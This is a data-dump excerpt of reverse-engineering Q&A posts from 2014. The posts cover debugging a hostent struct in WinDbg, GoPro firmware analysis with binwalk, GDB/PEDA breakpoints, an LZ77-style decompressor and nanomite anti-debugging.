  <row Id="6567" PostTypeId="2" ParentId="6565" CreationDate="2014-11-03T08:04:57.810" Score="2" Body="&lt;p&gt;&lt;code&gt;FAR&lt;/code&gt; is just an attribute, not a data type.  Not even a standard attribute, but an attribute that was introduced with MS-DOS C compilers, to distinguish between 16-bit and 32-bit pointers, and carried over to windows 16 bit, windows 32 bit and, recently, windows 64 bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is stored in the structure is a pointer to a character (in fact, an array of characters), which has 4 bytes (in the case of a 32 bit program), or 8 bytes (in the case of a 64 bit program). You don't tell which you have, but &lt;code&gt;mov edx, [eax+0Ch]&lt;/code&gt; implies 32 bit, as 64 bit registers have names like &lt;code&gt;rdx&lt;/code&gt; and &lt;code&gt;rax&lt;/code&gt;. So, your structure has this layout (note you also need to know &lt;code&gt;short&lt;/code&gt;s have 16 bit):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset   bytes bits member&#xA;00-03    4     32   h_name&#xA;04-07    4     32   h_aliases&#xA;08-09    2     16   h_addrtype&#xA;0a-0b    2     16   h_length&#xA;0c-0f    4     32   h_addr_list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it's not always that easy, because &lt;a href=&quot;http://en.wikipedia.org/wiki/Data_structure_alignment&quot; rel=&quot;nofollow&quot;&gt;compilers may introduce padding bytes between struct members for alignment reasons&lt;/a&gt;. If you have access to a C compiler, the safest thing is to use &lt;a href=&quot;http://en.wikipedia.org/wiki/Offsetof&quot; rel=&quot;nofollow&quot;&gt;offsetof&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;%02x\n&quot;, offsetof(struct hostent, h_addr_list));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-03T08:04:57.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6569" PostTypeId="1" AcceptedAnswerId="6575" CreationDate="2014-11-03T09:40:20.567" Score="3" ViewCount="2716" Body="&lt;p&gt;I'm trying to extract GoPro hero 3+ camera firmware but I'm getting a weird output from &lt;code&gt;binwalk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;code&gt;binwalk&lt;/code&gt; output (Uploaded to pastebin): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/raw.php?i=yVZFGZT6&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/raw.php?i=yVZFGZT6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see there are a lot of lines including mcrypt, RSA and other lines but the firmware is not encrypted. Also checking the hexadecimal of the file I can see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000006f0  55 55 55 55 66 66 66 66  77 77 77 77 88 88 88 88  |UUUUffffwwww....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I know this is related to UBoot. And this other two lines showing some squashfs headers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0151d040  45 3d cd 28 88 4f 39 80  68 73 71 73 bc 4f 39 80  |E=.(.O9.hsqs.O9.|&#xA;02557250  8a f3 0d 00 68 73 71 73  90 f3 0d 00 72 65 65 62  |....hsqs....reeb|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I can see some other lines related to CPIO but I can't figure out how to separate this file into extractable pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware image can be downloaded here: &lt;a href=&quot;http://software.gopro.com/Firmware/HD2/HD2-firmware.bin&quot; rel=&quot;nofollow&quot;&gt;http://software.gopro.com/Firmware/HD2/HD2-firmware.bin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="53" LastEditDate="2014-11-03T11:53:55.133" LastActivityDate="2014-11-03T14:55:32.390" Title="Weird binwalk output on GoPro Firmware" Tags="|firmware|embedded|hexadecimal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6570" PostTypeId="1" AcceptedAnswerId="6573" CreationDate="2014-11-03T01:04:23.953" Score="2" ViewCount="5068" Body="&lt;p&gt;I'm not experienced with GDB, and trying to examine an executable. I want to find the value of &lt;code&gt;%eax&lt;/code&gt; at certain times, and whether it's ever &lt;code&gt;called&lt;/code&gt; or &lt;code&gt;jumped&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was only given the executable, and it doesn't have any breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I enter &lt;code&gt;run&lt;/code&gt;, the program runs and then finishes, and no commands work—I get &quot;No symbol table is loaded&quot; and &quot;No registers.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dissembling the executable (&lt;code&gt;objdump -d&lt;/code&gt;) doesn't help, the result is 130,000 lines long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I used PEDA successfully; I set breakpoints at the functions and stepped through the program using &lt;code&gt;next&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9921" OwnerDisplayName="LonelyWebCrawler" LastEditorUserId="9921" LastEditDate="2014-11-05T03:41:28.307" LastActivityDate="2014-11-05T03:41:28.307" Title="Using GDB to look at stack" Tags="|exploit|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6571" PostTypeId="2" ParentId="6565" CreationDate="2014-11-03T10:59:41.270" Score="1" Body="&lt;p&gt;A sample walkthrough containing few lines of code compiled in msvc++exp and windbagged in 32 bit machine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int _tmain(int argc, _TCHAR* argv[]) {&#xA;    WSADATA wsaData;    &#xA;    in_addr addr;&#xA;    hostent *myhost;&#xA;        if ((WSAStartup(MAKEWORD(2, 2), &amp;amp;wsaData)) == 0)&#xA;        if ( ( myhost = gethostbyname(&quot;www.google.com&quot;) ) != NULL) {&#xA;            printf(&quot;host name = %s\n&quot;,myhost-&amp;gt;h_name);&#xA;            if (myhost-&amp;gt;h_addrtype == AF_INET) {&#xA;                addr.s_addr = *(u_long *) myhost-&amp;gt;h_addr_list[0];&#xA;                printf(&quot;IPv4 Addr = %s\n&quot;,inet_ntoa(addr));&#xA;            }&#xA;        }    &#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;run the compiled exe in windbg with a conditional break point as below&#xA;explanation being &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break when ws2_32!gethostbyname is called&#xA;gu is to go up back to caller (eax will hold * to hostent structure)&#xA;display the structure pointed by eax with a c++ expression evaluator  ?? and quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;bp ws2_32!gethostbyname \&quot;gu ; r eax; ?? (hostent *) @eax;q\&quot;;g&quot; ghostbyname.exe    &#xA;0:000&amp;gt; cdb: Reading initial command 'bp ws2_32!gethostbyname &quot;gu ; r eax; ?? (ho&#xA;stent *) @eax;q&quot;;g'&#xA;eax=0016c3b8&#xA;struct hostent * 0x0016c3b8&#xA;   +0x000 h_name           : 0x0016c3f8  &quot;www.google.com&quot;&#xA;   +0x004 h_aliases        : 0x0016c3c8  -&amp;gt; (null)&#xA;   +0x008 h_addrtype       : 0n2&#xA;   +0x00a h_length         : 0n4&#xA;   +0x00c h_addr_list      : 0x0016c3cc  -&amp;gt; 0x0016c3e4  &quot;J}???&quot;&#xA;quit:&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;windbg can also be used to ascertain size of individual members &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? sizeof(((hostent *) @eax)-&amp;gt;h_name)&#xA;unsigned int 4&#xA;0:000&amp;gt; ?? sizeof(((hostent *) @eax)-&amp;gt;h_aliases)&#xA;unsigned int 4&#xA;0:000&amp;gt; ?? sizeof(((hostent *) @eax)-&amp;gt;h_addrtype)&#xA;unsigned int 2&#xA;0:000&amp;gt; ?? sizeof(((hostent *) @eax)-&amp;gt;h_length)&#xA;unsigned int 2&#xA;0:000&amp;gt; ?? sizeof(((hostent *) @eax)-&amp;gt;h_addr_list)&#xA;unsigned int 4&#xA;0:000&amp;gt; ?? sizeof(hostent)&#xA;unsigned int 0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with sizes gleaned thus dumping it in raw format becomes easy to script in an unknown binary &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r $t0 = ${$arg1}&#xA;.printf /D &quot;&amp;lt;b&amp;gt;eax          \t%p &amp;lt;/b&amp;gt;\n&quot;,@$t0&#xA;.printf /D &quot;&amp;lt;b&amp;gt;hostent *    \t%p &amp;lt;/b&amp;gt;\n&quot;,poi(@$t0)&#xA;.printf /D &quot;&amp;lt;b&amp;gt;-&amp;gt;h_name     \t%ma&amp;lt;/b&amp;gt;\n&quot;,poi(@$t0)&#xA;.printf /D &quot;&amp;lt;b&amp;gt;-&amp;gt;h_alias    \t%p &amp;lt;/b&amp;gt;\n&quot;,poi(poi(@$t0+0x4))&#xA;.printf /D &quot;&amp;lt;b&amp;gt;-&amp;gt;h_addrtype \t%p &amp;lt;/b&amp;gt;\n&quot;,low(poi(@$t0+0x8))&#xA;.printf /D &quot;&amp;lt;b&amp;gt;-&amp;gt;h_length   \t%p &amp;lt;/b&amp;gt;\n&quot;,hi(poi(@$t0+0x8))&#xA;.printf /D &quot;&amp;lt;b&amp;gt;-&amp;gt;h_addrlist \t%p &amp;lt;/b&amp;gt;\n&quot;,poi(poi(@$t0+0xc))&#xA;.printf /D &quot;&amp;lt;b&amp;gt;-&amp;gt;h_addrlist contains ip address in network byte order&amp;lt;/b&amp;gt;\n&quot;&#xA;db poi(poi(@$t0+0xc)) l10&#xA;.printf /D &quot;&amp;lt;b&amp;gt;Ipv4 Address of google.com %d.%d.%d.%d\n&quot; , &#xA;&#xA;by(poi(poi(@$t0+0xc))),by(poi(poi(@$t0+0xc))+1),by(poi(poi(@$t0+0xc))+2),by(poi(poi(@$t0+0xc))+3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result dumped in raw format without symbol support in an unknown binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; $$&amp;gt;a&amp;lt; ghostbyname.txt @eax&#xA;&#xA;eax             0016c3b8 &#xA;hostent *       0016c3f8 &#xA;-&amp;gt;h_name        www.google.com&#xA;-&amp;gt;h_alias       00000000 &#xA;-&amp;gt;h_addrtype    00000002 &#xA;-&amp;gt;h_length      00000004 &#xA;-&amp;gt;h_addrlist    0016c3e4 &#xA;-&amp;gt;h_addrlist contains ip address in network byte order&#xA;0016c3e4  4a 7d ec d0 4a 7d ec d4-4a 7d ec d3 4a 7d ec d1  J}..J}..J}..J}..&#xA;Ipv4 Address of google.com 74.125.236.208&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-11-03T10:59:41.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6572" PostTypeId="2" ParentId="6569" CreationDate="2014-11-03T11:02:26.353" Score="2" Body="&lt;p&gt;There will always be false positives with binwalk, especially for lzma and the likes. What you can do is use the &lt;code&gt;-M&lt;/code&gt; option to try and binwalk multiple layers deep and also use &lt;code&gt;-r&lt;/code&gt; option to remove files that didn't decompress well. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-11-03T11:02:26.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6573" PostTypeId="2" ParentId="6570" CreationDate="2014-11-03T11:45:12.700" Score="3" Body="&lt;p&gt;First, you really need to set a breakpoint somewhere if you want &lt;code&gt;gdb&lt;/code&gt; to stop before the program end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you should really try to use &lt;code&gt;peda&lt;/code&gt;, a set of configuration and Python scripts for &lt;code&gt;gdb&lt;/code&gt; designed for reverse-engineering software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ropshell.com/peda/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The official page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Github page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slides from BlackHat'12&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1dzi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-11-03T11:57:51.607" LastActivityDate="2014-11-03T11:57:51.607" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6574" PostTypeId="1" CreationDate="2014-11-03T12:42:29.980" Score="2" ViewCount="1408" Body="&lt;p&gt;Host and target are both Windows 7 x64.&#xA;The session goes well, but sometimes after 15-20 minutes the target freezes (like a break point was hit), but WinDbg reports that the debuggee is running and it can not take commands. Also, when I attempt to break into the target (ctrl + break)  I am told that I can't communicate with the target:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wrote 0 of 1 bytes of the breakin packet.&#xA;  Failed to write breakin packet to target.  HRESULT 0x80004005&#xA;  WARNING: The HOST cannot communicate with the TARGET!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I am quick to catch the moment, the first errors are different: Win32 error 0n23 and Win32 error 0n121. I looked around for this error, but I could not find something related to WinDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can resume my session is to shut down the target by pressing it's power button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought this has something to do with the target entering stand by, but I modified the power options so it should never enter in a sleep state and I started to actively use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this was my driver's fault (although it just iterates through some LIST_ENTRYs and displays some addresses with DbgPrint) so I restarted the target and never loaded my driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that right before this happens the target display goes black for a moment. Any place where I should start looking?&lt;/p&gt;&#xA;" OwnerUserId="8119" LastActivityDate="2014-11-03T12:42:29.980" Title="WinDbg is unable to communicate with the target after some time" Tags="|windows|windbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6575" PostTypeId="2" ParentId="6569" CreationDate="2014-11-03T13:01:30.617" Score="2" Body="&lt;p&gt;Strings suggests this is using the UbiFS file system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings HD2-firmware.bin | grep -i ubifs&#xA;console=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs&#xA;LNX_VIF=&quot;../../../src/linuxinfo/ubifs.info&quot;&#xA;CONFIG_BOSS_SECONDARY_CMDLINE=&quot;console=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs&quot;&#xA;console=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are only two places where I see the UbiFS super magic bytes (0x24051905, see &lt;a href=&quot;http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/fs/ubifs/ubifs.h&quot; rel=&quot;nofollow&quot;&gt;http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/fs/ubifs/ubifs.h&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -m ubifs.sig HD2-firmware.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;23734456      0x16A28B8       UbiFS, little endian&#xA;23741868      0x16A45AC       UbiFS, little endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For reference, the contents of ubifs.sig are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0   lelong  0x24051905      UbiFS, little endian&#xA;0   belong  0x24051905      UbiFS, big endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above seems to be a false positive. After creating a UbiFS image of my own, here's what it looks like in hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  31 18 10 06 dc 6a 3b 2d  4e 00 00 00 00 00 00 00  |1....j;-N.......|&#xA;00000010  00 10 00 00 06 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000020  00 02 00 00 00 00 02 00  0d 00 00 00 64 00 00 00  |............d...|&#xA;00000030  00 00 16 00 00 00 00 00  04 00 00 00 02 00 00 00  |................|&#xA;00000040  01 00 00 00 01 00 00 00  08 00 00 00 00 01 00 00  |................|&#xA;00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000060  00 00 00 00 00 00 00 00  00 ca 9a 3b fb 7e 13 36  |...........;.~.6|&#xA;00000070  91 29 47 3b 8b dd 46 95  27 cc 8a 30 00 00 00 00  |.)G;..F.'..0....|&#xA;00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00001000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|&#xA;*&#xA;00020000  31 18 10 06 4a 3d 6b 5a  4f 00 00 00 00 00 00 00  |1...J=kZO.......|&#xA;00020010  00 02 00 00 07 00 00 00  45 00 00 00 00 00 00 00  |........E.......|&#xA;00020020  00 00 00 00 00 00 00 00  02 00 00 00 03 00 00 00  |................|&#xA;00020030  0c 00 00 00 d8 05 00 00  bc 00 00 00 0b 00 00 00  |................|&#xA;00020040  0c 00 00 00 00 08 00 00  98 06 00 00 00 00 00 00  |................|&#xA;00020050  00 26 05 00 00 00 00 00  38 03 00 00 00 00 00 00  |.&amp;amp;......8.......|&#xA;00020060  30 d0 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |0...............|&#xA;00020070  00 24 00 00 00 00 00 00  07 00 00 00 2a 00 00 00  |.$..........*...|&#xA;00020080  07 00 00 00 00 02 00 00  07 00 00 00 36 00 00 00  |............6...|&#xA;00020090  00 00 00 00 00 00 00 00  0a 00 00 00 01 00 00 00  |................|&#xA;000200a0  01 00 00 00 0d 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000200b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00020200  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the little endian magic number at the beginning of each node: &lt;code&gt;0x06101831&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pattern appears in the GoPro firmware, and it looks like the UbiFS image may start at &lt;code&gt;0x22C6100&lt;/code&gt;; however, I was unable to mount either my UbiFS image (created with &lt;code&gt;mkfs.ubifs&lt;/code&gt;) or the image from the GoPro firmware, so I cannot verify that this is true.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2014-11-03T14:55:32.390" LastActivityDate="2014-11-03T14:55:32.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6576" PostTypeId="1" AcceptedAnswerId="6577" CreationDate="2014-11-03T18:55:05.433" Score="2" ViewCount="454" Body="&lt;p&gt;I've reversed a decompression routine, but have to figure out the compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the executable only decrypts and therefor has no compression routine and I'm not comfortable with compressions it's really hard for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the code I've written in C#:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private unsafe void Decompress(byte[] decom, byte[] com, int comSize) {&#xA;        byte[] dict = new byte[4096];&#xA;        fixed (byte* pDict = dict, p1 = decom, p2 = com) {&#xA;            byte* pDecom = p1, pCom = p2;&#xA;&#xA;            byte next;&#xA;            int r6 = 0, r7 = 0xfee, r10, r9;&#xA;&#xA;            while (true) {&#xA;                r6 &amp;gt;&amp;gt;= 1;&#xA;&#xA;                if ((r6 &amp;amp; 0x100) == 0) {&#xA;                    if (comSize-- == 0)&#xA;                        return;&#xA;&#xA;                    r6 = 0xFF00 | *(pCom++);&#xA;                }&#xA;&#xA;                if ((r6 &amp;amp; 1) == 1) {&#xA;                    if (comSize-- == 0)&#xA;                        return;&#xA;&#xA;                    next = *(pCom++);&#xA;                    *(pDecom++) = next;&#xA;                    *(pDict + r7) = next;&#xA;                    r7 = (r7 + 1) &amp;amp; 0xFFF;&#xA;                } else {&#xA;                    if ((comSize -= 2) &amp;lt;= 0)&#xA;                        return;&#xA;&#xA;                    r10 = (*(pCom++) &amp;lt;&amp;lt; 8) | *(pCom++);&#xA;&#xA;                    r9 = r10 &amp;gt;&amp;gt; 4;&#xA;                    r10 = (r10 &amp;amp; 0xF) + 2;&#xA;&#xA;                    for (int i = r10 + 1; i &amp;gt; 0; --i) {&#xA;                        r10 = r9++ &amp;amp; 0xFFF;&#xA;                        next = *(pDict + r10);&#xA;                        *(pDecom++) = next;&#xA;                        *(pDict + r7) = next;&#xA;                        r7 = (r7 + 1) &amp;amp; 0xfff;&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be nice if someone could identify or post a link to code for the compression.&#xA;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9926" LastActivityDate="2014-11-03T19:55:31.083" Title="Unknown compression (Decompression reversed)" Tags="|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6577" PostTypeId="2" ParentId="6576" CreationDate="2014-11-03T19:55:31.083" Score="3" Body="&lt;p&gt;Based on &lt;a href=&quot;https://groups.google.com/forum/#!topic/comp.compression/XuHhTgom-xM&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;, that appears to be an &lt;a href=&quot;http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77&quot; rel=&quot;nofollow&quot;&gt;LZ77&lt;/a&gt; variant.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-11-03T19:55:31.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6582" PostTypeId="2" ParentId="6467" CreationDate="2014-11-04T15:14:19.553" Score="1" Body="&lt;p&gt;This binary is protected by a technique called &quot;nanomites&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The father drives the child by getting and settings its registers via debug call (ptrace under linux, DebugActiveProcess under windows). It's an efficient antidebug method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was part of a challenge, you can find a lot of details in this post: &lt;a href=&quot;http://doar-e.github.io/blog/2014/10/11/taiming-a-wild-nanomite-protected-mips-binary-with-symbolic-execution-no-such-crackme/&quot; rel=&quot;nofollow&quot;&gt;http://doar-e.github.io/blog/2014/10/11/taiming-a-wild-nanomite-protected-mips-binary-with-symbolic-execution-no-such-crackme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2014-11-04T15:14:19.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6583" PostTypeId="1" CreationDate="2014-11-04T15:49:06.200" Score="-1" ViewCount="173" Body="&lt;p&gt;I've found a function which takes as input an ASCII type string and return a value (as string). Doing some &lt;code&gt;strings&lt;/code&gt; on the DLL I was able to find a couple of keys, however I would like to discover other possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;long    GetValue(LPCSTR in_key, LPSTR out_value, long in_buflen);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to test the key is valid:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char buf[512];&#xA;long ret;&#xA;const char ref[] = &quot;ABC&quot;;&#xA;ret = GetValue(ref, b, 512);&#xA;if( ret )&#xA;  {&#xA;  printf( &quot;Ok: [%s -&amp;gt; %s]\n&quot;, ref, b );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing exhaustive search is too slow. What tools can I use (I am on linux+wine) to setup a dictionary based attack on this function ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far all keys I've found are upper Camel Case (no space).&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2014-11-04T17:14:29.673" Title="Dictionary attack implementation" Tags="|c|" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-06T23:42:54.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="6584" PostTypeId="2" ParentId="6583" CreationDate="2014-11-04T17:14:29.673" Score="2" Body="&lt;p&gt;Dictionary attacks are not good for this. It is not uncommon for the key to be generated during execution, preventing you from finding the correct key (as it is &lt;em&gt;not&lt;/em&gt; written in the binary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the best way to do that is follow the binary's execution stepping &lt;strong&gt;over&lt;/strong&gt; at first sight (to get a better idea of that piece of code) and only then go stepping &lt;strong&gt;into&lt;/strong&gt; the calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're lucky (&lt;em&gt;and the developer was lazy&lt;/em&gt;), you will find a point where the key is strcmp'ed (or something like that) with the input string, relieving you from the task of digging deep into the key generation algorithm.&lt;/p&gt;&#xA;" OwnerUserId="9877" LastActivityDate="2014-11-04T17:14:29.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6585" PostTypeId="1" AcceptedAnswerId="6587" CreationDate="2014-11-04T17:43:36.807" Score="0" ViewCount="998" Body="&lt;p&gt;I am a student of informatics with additional games engineering.&#xA;I currently have a project about Reverse Code Engineering. Mainly my task is to gather information about the topic &quot;Detecting weaknesses/vulnerabilities with RCE&quot; and write something about it.&#xA;Gathering the information, was the easy part, as with a little bit of google scholar search and references in papers I came up with a broad palette of papers. &quot;Program Slicing&quot;, &quot;Taint Analysis&quot;, &quot;Fuzzing&quot;, &quot;Symbolic execution&quot; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in addition to collecting the information and writing a paper, I have to make a little implementation. What exactly my implementation does, I have to decide on my own. It can be anything, as long as it has to do with detecting weaknesses and vulnerabilities with reverse code engineering.&#xA;Now my problem:&#xA;I never actually did any reverse code engineering. I have no idea what &quot;implementation&quot; I could make (with my little(no) practical knowledge of RCE).&#xA;With my instructor I talked about detecting vulnerabilities in games as my studies have to do with games engineering and games are an interesting topic for me.&#xA;However when searching for scientific papers about detecting vulnerabilities in games I couldn't find anything. Most of the search results in scholar had to do with legal affairs and the rest had to do with anything in RCE, but games.&#xA;Also with normal google searching I couldn't find anything useful (papers/tutorials), but only news or descriptions of RCE in general and so on.&#xA;I tried several combinations of different words like &quot;game(s)&quot;, &quot;vulnerabilities&quot;, &quot;weaknesses&quot;,&quot;reverse code engineering&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know if I just have the wrong way of searching, in this case, or if the stuff I search, really is hard (impossible?) to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why i came here to ask you, if you know any good sources. Tutorials and/or scientific papers about detecting vulnerabilities in games?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is no information about that on the internet.&#xA;Maybe (I don't know this) it could even be, that the task of detecting vulnerabilities in games is too demanding for someone with almost no knowledge in RCE and that I shouldn't even try to do this.&#xA;Then I would have to program something else (easier).&#xA;But then again, I wouldn't know what to do. A program slicing algorithm? I have no idea of the difficulty level of certain implementations.&#xA;Therefore if you can give me any hints on what else (beside games) would be apropriate implementing, I would be grateful to hear. Additionally links to good tutorials about implementing the alternative would be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work on windows (99% of the time) and I am able to use Java, C++, C, C#, Python and Haskell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really appreciate any help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="9936" LastActivityDate="2014-11-07T01:28:04.700" Title="Detecting weaknesses/vulnerabilities (in games). Scientific papers/Tutorials?" Tags="|windows|c|python|java|vulnerability-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
